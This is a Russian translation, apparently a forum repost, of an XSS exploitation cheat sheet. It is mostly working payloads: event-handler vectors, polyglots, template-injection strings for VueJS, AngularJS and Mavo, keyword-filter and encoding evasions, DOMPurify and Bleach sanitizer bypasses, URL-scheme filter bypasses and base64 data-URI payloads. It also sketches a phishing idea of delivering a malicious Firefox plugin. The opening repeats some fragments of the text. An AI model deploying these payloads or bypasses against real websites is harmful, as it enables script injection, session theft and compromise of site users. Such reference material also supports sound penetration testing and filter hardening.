Прошел год с момента моей последней шпаргалки по XSS и год разработок в области эксплуатирования XSS. Вот новая и обновленная версия, набитая множеством вкусностей, которые я использую сам!
Примечание. Эта шпаргалка посвящена только современным и актуальным элементам.
Я ненавижу шпаргалки и методы, которые больше не работают (например, XSS с помощью CSS-инъекций) или работают только в архаичных браузерах. Поэтому эта шпаргалка фокусируется только на методах, которые появятся в 2021 году и что я лично проверил работу хотя бы в одном современном браузере.
Вы можете попытаться заменить пробел между svg и onload любым из этих символов и пейлоад по-прежнему будет работать так, как вы ожидаете. Это актуально для всех тегов HTML.
Итак, все это действительный HTML и он будет выполняться. (Примечание: в новом Chrome это прерывается, если вы откроете его в новой вкладке без обновления вручную ¯ \ (ツ) / ¯).
Косой слеш:
Новая линия:
Табуляция Tab:
Новая страница (0xC):
Примеры:
Примеры:
Примечание: Варианты ниже использует теги стиля для создания ключевых кадров для анимации (начало|конец), но вы также можете проверить на предмет наличия уже включенных CSS, чтобы использовать то, что уже есть, используя , например,
Пейлоад, инжектирующий невидимое наложение, которое в свою очередь запускает полезную нагрузку, если щелкнуть где-нибудь на странице:
То же самое, но для перемещения курсора мыши в любом месте страницы (0 клик):
Совет: вы можете легко создать несколько личных вариаций для них, варьируя регистр букв и используя разделители тегов и атрибутов.
Эта полезная нагрузка работает в большинстве случаев, но на этой странице есть множество других рекомендаций.
Кодировщик HTML-entities доступен здесь, не забудьте снять флажок "only encode unsafe".
Обратите внимание, что вы можете использовать три разных набора кодировок HTML-entities и комбинировать их по своему усмотрению:
Числа в строки:
Мануальчик о mXSS с большим количеством примеров: здесь
Полезная информация о clobbering: здесь
Bleach <=3.1.1
DOMPurify <2.1
(мне пришлось немного поиграть с некоторыми из них, чтобы заставить работать)
DOMPurify <2.0.1
Шлю лучи добра и позитива за этот конкретный набор атак этой замечательной статье о XSS в Django.
(Некоторые из них зависят от браузера. Попробуйте свои пейлоады отдельно, прежде чем полагаться на эти)
Если вы не знакомы, вы можете протестировать эти пейлоады, вставив их в URL-адрес своего браузера. Все они просто выдают
(только Firefox)
Рассмотрите также другие mime type, которые могут помочь вам. Как в примере с использованием application / x-xpinstall в Firefox, который предлагает пользователям установить плагин ... представьте, как было бы плохо, если бы кто-то связал текст/html с этим, чтобы имитировать внешний вид легитимного веб-сайта, а затем предложить пользователям установить плагин, который может получить доступ ко всем данным своего браузера?
(Только Firefox)
Другие идеи включают java-апплеты, Steam или что-нибудь еще, что регистрирует собственный обработчик протокола. Некоторые идеи по их использованию доступны здесь.
Portswigger XSS cheatsheet
Portswigger XSS through Frameworks
Pwnfunction’s XSS CTF for practising
Автор Sam Anttila
Примечание. Эта шпаргалка посвящена только современным и актуальным элементам.
Я ненавижу шпаргалки и методы, которые больше не работают (например, XSS с помощью CSS-инъекций) или работают только в архаичных браузерах. Поэтому эта шпаргалка фокусируется только на методах, которые появятся в 2021 году и что я лично проверил работу хотя бы в одном современном браузере.
Новые фичи
- Оглавление, быстрые ссылки и каждый элемент имеют кнопку копирования в буфер обмена в правом верхнем углу.
- Больше совершенства HTML-событий
- Больше mXSS
- Дополнительные пейлоады JS Framework (VueJS, Mavo)
- Обход фильтров URL-адресов
- Расширенный обход фильтров XSS (escape-последовательности, эксплуатация странностей JS, сущностей HTML entities и т.д.)
- Дополнительные советы и рекомендации по использованию JS
- Дополнительные ресурсы JS
- Эксплуатация MIME type
- Удаление методик, которые больше не работают
Разделители тегов и атрибутов
Иногда фильтры наивно предполагают, что только определенные символы могут разделять тег и его атрибуты, вот полный список допустимых разделителей, которые работают в firefox и chrome:| Decimal значение | URL Encoded | Человеческое объяснение |
|---|---|---|
| 47 | %2F | Foward slash |
| 13 | %0D | Carriage Return |
| 12 | %0C | Form Feed |
| 10 | %0A | New Line |
| 9 | %09 | Horizontal Tab |
Примеры
В принципе, если у вас есть полезная нагрузка, которая выглядит так:
HTML:
<svg onload=alert(1)>
Итак, все это действительный HTML и он будет выполняться. (Примечание: в новом Chrome это прерывается, если вы откроете его в новой вкладке без обновления вручную ¯ \ (ツ) / ¯).
Косой слеш:
HTML:
<svg/onload=alert(1)><svg>
HTML:
<svg
onload=alert(1)><svg>
HTML:
<svg onload=alert(1)><svg>
HTML:
<svgonload=alert(1)><svg>
XSS на основе событий JavaScript
Хорошая ссылка для событий и поддерживаемых браузеров: больше событий HTMLСтандартные HTML-события
| Атрибут тега | Поддерживаемые теги | Примечание |
|---|---|---|
| onload | body, iframe, img, frameset, input, script, style, link, svg | Great for 0-click, but super commonly filtered |
| onpageshow | body | Great for 0-click, but appears only usable in Non-DOM injections |
| onfocus | input, select, a | for 0-click: use together with autofocus="" |
| onerror | img, input, object, link, script, video, audio | make sure to pass params to make it fail |
| onanimationstart | Combine with any element that can be animated | Fired then a CSS animation starts |
| onanimationend | Combine with any element that can be animated | Fires when a CSS animation ends |
| onstart | marquee | Fires on marquee animation start - Firefox only? |
| onfinish | marquee | Fires on marquee animation end - Firefox only? |
| ontoggle | details | Must have the ‘open’ attribute for 0-click |
Ситуационные HTML-события
| Атрибут тега | Поддерживаемые теги | Примечание |
|---|---|---|
| onmessage | большинство тегов | postMessage is commonly used to get around iframe restrictions and share data, as a result if your page is doing this you can use onmessage to intercept messages and trigger code |
| onblur | input, select, a | Set autofocus="" for an easy 1-click when the user switches focus away from the injected element by clicking on anything on the page |
Примеры:
HTML:
<body onload=alert()>
HTML:
<img src=x onerror=alert()>
HTML:
<svg onload=alert()>
HTML:
<body onpageshow=alert(1)>
HTML:
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (только firefox )
HTML:
<marquee onstart=alert(1)> (только firefox)
HTML:
<marquee loop=1 width=0 onfinish=alert(1)> (только firefox)
HTML:
<input autofocus="" onfocus=alert(1)></input>
HTML:
<details open ontoggle="alert()"> (только chrome & opera)
HTML5 события
| Название | Теги | Примечание |
|---|---|---|
| onplay | video, audio | For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
| onplaying | video, audio | For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip |
| oncanplay | video, audio | Must link to a valid video/audio clip |
| onloadeddata | video, audio | Must link to a valid video/audio clip |
| onloadedmetadata | video, audio | Must link to a valid video/audio clip |
| onprogress | video, audio | Must link to a valid video/audio clip |
| onloadstart | video, audio | Great underexploited 0-click vector |
| oncanplay | video, audio | Must link to a valid video/audio clip |
Примеры:
HTML:
<video autoplay onloadstart="alert()" src=x></video>
HTML:
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadstart="alert()"><source src=x></video>
HTML:
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
HTML:
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
На основе CSS
Истинная инъекция XSS через CSS мертва (на сейчас). Ниже приведены векторы XSS, которые зависят от таблиц стилей CSS или иным образом улучшаются ими.
| Теги | Примечание | |||
|---|---|---|---|---|---|
| onmouseover | most tags | Сработает при наведении курсора мыши на введенный элемент. Если возможно, добавьте стиль, чтобы сделать его как можно больше. Технически это 0-клик, если вам не нужно щелкать, верно? /s | |||
| onclick | most tags | Срабатывает, когда пользователь нажимает на элемент. Если возможно, добавьте стиль, чтобы сделать его как можно больше. | |||
| onanimationstart & onanimationend | most tags | Триггеры в начале или в конце CSS-анимации, которые вы можете запустить при загрузке страницы (0-клик). |
Примечание: Варианты ниже использует теги стиля для создания ключевых кадров для анимации (начало|конец), но вы также можете проверить на предмет наличия уже включенных CSS, чтобы использовать то, что уже есть, используя , например,
animation: alreadydefined;.. Неважно, что это за анимация, просто она существует.
HTML:
<style>@keyframes x {}</style>
HTML:
<p style="animation: x;" onanimationstart="alert()">XSS</p>
HTML:
<p style="animation: x;" onanimationend="alert()">XSS</p>
HTML:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
HTML:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Странные векторы XSS
Просто странные векторы, о которых часто не упоминают.
HTML:
<svg><animate onbegin=alert() attributeName=x></svg>
HTML:
<object data="data:text/html,<script>alert(5)</script>">
HTML:
<iframe srcdoc="<svg onload=alert(4);>">
HTML:
<object data=javascript:alert(3)>
HTML:
<iframe src=javascript:alert(2)>
HTML:
<embed src=javascript:alert(1)>
HTML:
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
HTML:
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS полиглоты (polyglots)
Я использую несколько полиглотов XSS, потому что иногда у вас есть только определенное количество символов для ввода и вам нужен DOM или не-DOM. Не полагайтесь на них 100%, потому что есть обстоятельства, при которых они не сработают.| # символы | Использование | Полиглоты |
|---|---|---|
| 141 | Both | javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> |
| 88 | Non-DOM | "'--></noscript></noembed></template></title></textarea></style><script>alert()</script> |
| 95 | DOM | '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
| 54 | Non-DOM | "'>-->*/</noscript></ti tle><script>alert()</script> |
| 42 | DOM | "'--></style></script><svg oNload=alert()> |
Фреймворки
Чтобы атаковать JS Framework, всегда исследуйте соответствующий язык шаблонов.VueJS
V3
HTML:
{{_openBlock.constructor('alert(1)')()}}
V2
HTML:
{{constructor.constructor('alert(1)')()}}
AngularJS
HTML:
{{constructor.constructor('alert(1)')()}}
Mavo
HTML:
[self.alert(1)]
HTML:
javascript:alert(1)%252f%252f..%252fcss-images
HTML:
[''=''or self.alert(1)]
HTML:
[Omglol mod 1 mod self.alert (1) andlol]
Обход фильтра XSS
Литералы шаблона JS для вызова функций
HTML:
<svg onload=alert`1`></svg>
<script>alert`1`</script>
Злоупотребление HTML-объектами
Обратите внимание, что они будут работать только с HTML-инъекцией, но не если значение будет введено непосредственно в тег скрипта. Это связано с тем, что декодирование происходит в анализаторе HTML, и все, что находится между тегами сценария, просто отправляется в механизм javacript напрямую без декодирования.
HTML:
<svg onload=alert(1)></svg>
HTML:
<img src=x onerror="alert(1)">
HTML:
<svg onload=alert(1)></svg>
HTML:
<img src=x onerror=alert(1)>
HTML:
<svg onload=alert(1)></svg>
Обратите внимание, что вы можете использовать три разных набора кодировок HTML-entities и комбинировать их по своему усмотрению:
named (&plar; -> (), hex (&x28; -> () и decimal (( -> ().Ограниченная кодировка
Эти 3 сайта превратят валидный JS в ужасных чудовищ, у которых есть хороший шанс обойти множество фильтров:- JSFuck - преобразование произвольного javascript в исполняемый javacript, используя только 6 символов. Единственным недостатком является то, что сложные javascript пейлоады могут быть очень длинными.
- JSFsck – JSFuck without parentheses – то же, что и выше, но с более ограниченной кодировкой.
- jjencode – ситуативный, но о нем полезно знать.
- arubesh.js – требует дополнительных символов поверх JSFuck, но может быть полезен, если пространство ограничено вместе со слабой фильтрацией.
Фильтрация ключевых слов
Избегайте ключевых слов и конкретных подстрок:
JavaScript:
(alert)(1)
JavaScript:
globalThis[`al`+/ert/.source]`1`
JavaScript:
this[`al`+/ert/.source]`1`
JavaScript:
[alert][0].call(this,1)
JavaScript:
window['a'+'l'+'e'+'r'+'t']()
JavaScript:
window['a'+'l'+'e'+'r'+'t'].call(this,1)
JavaScript:
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
JavaScript:
(1,2,3,4,5,6,7,8,alert)(1)
JavaScript:
x=alert,x(1)
JavaScript:
[1].find(alert)
JavaScript:
top["al"+"ert"](1)
JavaScript:
top[/al/.source+/ert/.source](1)
JavaScript:
al\u0065rt(1)
JavaScript:
al\u0065rt`1`
JavaScript:
top['al\145rt'](1)
JavaScript:
top['al\x65rt'](1)
JavaScript:
top[8680439..toString(30)](1)
Общие хитрости
Для построения строк
Литералы регулярных выражений:/part1/.source+/part2/.source => 'part1part2'Числа в строки:
8680439..toString(30) => 'alert' (Число генерируется с использованием parseInt («alert», 30), другие также работают)
Используйте escape-последовательности символов внутри строк
простой инструмент для этого доступен здесь:"\x41" -> "A" шестнадцатеричная кодировка"\u0065" -> "A" кодировка юникода (значение десятичное)"\101" -> "A" восьмеричная кодировка
РазНоОбраЗьТЕ зАглАвНыЕ БукВы
Иногда регулярное выражение или другие самодельные фильтры выполняют сопоставление с учетом регистра. Затем вы можете просто использовать toLowerCase (), например:
Код:
globalThis["aLeRt".toLowerCase()]
Вызов функций
alert`1`: Синтаксис литерала шаблонаalert.apply(this,[1]): Использование Function.prototype.applyalert.call(this,1): Использование Function.prototype.callalert(1): Очевидно, но включено для полноты.[1].find(alert): Использование предикатов[1].filter(alert): Использование предикатовПовторное использование
Не забудьте посмотреть, что уже загружено! jQuery - простой пример, в любой сложном фреймворке, вероятно, есть что-то полезное. Здесь может помочь Wappalyzer или его аналог.window.jQuery.globalEval("alert(1)")$.globalEval("alert(1)")mXSS и DOM Clobbering
Для XSS-фильтров практически невозможно правильно предвидеть каждый способ мутации HTML браузером с взаимодействующими библиотеками, поэтому иногда вы можете скрыть XSS пейлоад как недопустимый HTML, и браузер + санитайзер исправит его до действительного полезной нагрузки… которая обходит всю фильтрацию.Мануальчик о mXSS с большим количеством примеров: здесь
Полезная информация о clobbering: здесь
Санитайзер обходит mXSS пейлоады
Примечание. mXSS может зависеть от браузера, так что попробуйте несколько браузеров.Bleach <=3.1.1
HTML:
<noscript><style></noscript><img src=x onerror=alert(1)>
HTML:
<svg><style><img src=x onerror=alert(1)></style></svg>
DOMPurify <2.1
(мне пришлось немного поиграть с некоторыми из них, чтобы заставить работать)
HTML:
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>">
HTML:
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img	src=1	onerror=alert(1)>">
HTML:
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=1 onerror=alert(1)>">
DOMPurify <2.0.1
HTML:
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
HTML:
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
Двойное кодирование
Достаточно просто, иногда приложение выполняет фильтрацию XSS для строки перед ее повторным декодированием, что оставляет ее открытой из-за обхода фильтра. Встречается редко, но некоторые багхантеры, которых я знаю, клянутся, что все работает в 2021, поэтому я включаю его для справки.| Символ | Двойное кодирование |
|---|---|
| < | %253C |
| > | %253E |
| ( | %2528 |
| ) | %2529 |
| " | %2522 |
| ' | %2527 |
Обход фильтров URL Schema
Допустим, у вас есть возможность ввести данные во что-то, что соприкасается с URL-адресом. Типа как location.href, но он отфильтрован. Это список приемов, которые вы можете попытаться применить, чтобы обойти это.Шлю лучи добра и позитива за этот конкретный набор атак этой замечательной статье о XSS в Django.
(Некоторые из них зависят от браузера. Попробуйте свои пейлоады отдельно, прежде чем полагаться на эти)
| Техника | Пример | |
|---|---|---|
| Case sensitivity | JaVaScript:alert(1) | URL protocol is case insensitive |
| Some whitespace INSIDE protocol | javas cript:alert(1) | tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere in protocol |
| Whitespace before protocol | javascript:alert(1) | Characters \x01-\x20 can be inserted before the protocol |
| Some whitespace AFTER protocol before oclon | javascript : | tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere after the protocol |
Эксплуатация Mime type
Если вы можете заставить браузер загружать данные, при помощи установки URL-адреса (например, с помощью location.href или поля href в теге) или другими способами, вы можете выполнить javascript. В Firefox они обрабатываются на том же домене, что и исходная страница, а вот в Chrome - нет. Тем не менее, это может привести к нескольким опасным результатам, описанным ниже.Если вы не знакомы, вы можете протестировать эти пейлоады, вставив их в URL-адрес своего браузера. Все они просто выдают
alert(‘XSS’), но если вы - параноки, вы можете декодировать их и проверить, используя декодер base64.
Код:
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+
Код:
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Код:
data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+
Рассмотрите также другие mime type, которые могут помочь вам. Как в примере с использованием application / x-xpinstall в Firefox, который предлагает пользователям установить плагин ... представьте, как было бы плохо, если бы кто-то связал текст/html с этим, чтобы имитировать внешний вид легитимного веб-сайта, а затем предложить пользователям установить плагин, который может получить доступ ко всем данным своего браузера?
(Только Firefox)
Код:
data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>
Полезные ссылки
Fantastic collection of somewhat old XSS stuffPortswigger XSS cheatsheet
Portswigger XSS through Frameworks
Pwnfunction’s XSS CTF for practising
Автор Sam Anttila